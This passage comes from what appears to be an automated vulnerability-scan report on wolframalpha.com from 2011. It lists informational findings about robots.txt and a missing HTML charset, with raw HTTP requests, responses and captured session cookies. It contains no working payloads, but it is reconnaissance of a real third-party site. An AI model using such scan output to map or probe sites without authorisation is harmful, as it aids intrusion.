Cookie: WR_SID=173.193.214.243.1298948109851419; JSESSIONID=7DAD5D390C369AAD1DB59117DBCB8DA6; __utmz=171643174.1298948189.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; __unam=55c5e66-12e6f587d90-19185b37-1; WolframHomepageVisits=1; __utma=171643174.1847852404.1298944705.1298944705.1298948189.2; __utmc=171643174; __utmb=171643174.2.10.1298948189

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 03:06:55 GMT
Server: Apache
Last-Modified: Wed, 20 Oct 2010 16:13:05 GMT
ETag: "31a-4930eaf32a640"
Accept-Ranges: bytes
Content-Length: 794
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">
<ShortName>Wolfram|Alpha</ShortName>
<LongName>Wolfram|Alpha computational knowledge e
...[SNIP]...
<Contact>webmaster@wolframalpha.com</Contact>
...[SNIP]...

7. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /input/

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.wolframalpha.com

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 01:59:13 GMT
Server: Apache
Set-Cookie: WR_SID=173.193.214.243.1298944753030270; path=/; max-age=315360000; domain=.wolframalpha.com
Last-Modified: Thu, 24 Feb 2011 16:48:42 GMT
ETag: "fd-49d09fc6b4e80"
Accept-Ranges: bytes
Content-Length: 253
Connection: close
Content-Type: text/plain

User-agent: *
Allow: /input/
Disallow: /input/pod.jsp
Noindex: /input/
Noindex: /termsofuse.html
Noindex: /privacypolicy.html


User-agent: Mediapartners-Google
Disallow:

User-agent: Browsershot
...[SNIP]...

8. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET / HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WR_SID=173.193.214.243.1298948109851419; JSESSIONID=7DAD5D390C369AAD1DB59117DBCB8DA6; __utmz=171643174.1298948189.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; __utma=171643174.1847852404.1298944705.1298944705.1298948189.2; __utmc=171643174; __utmb=171643174.1.10.1298948189; __unam=55c5e66-12e6f587d90-19185b37-1

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 03:06:49 GMT
Server: Apache
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 11486

<!DOCTYPE html>
<html class="no-js">
<head>
<title>Wolfram|Alpha: Computational Knowledge Engine</title>
<meta charset="utf-8" />
<meta name="description" content="Wolfram|Alpha is more th
...[SNIP]...

Report generated by XSS.CX Research Blog at Tue Mar 01 07:56:08 CST 2011.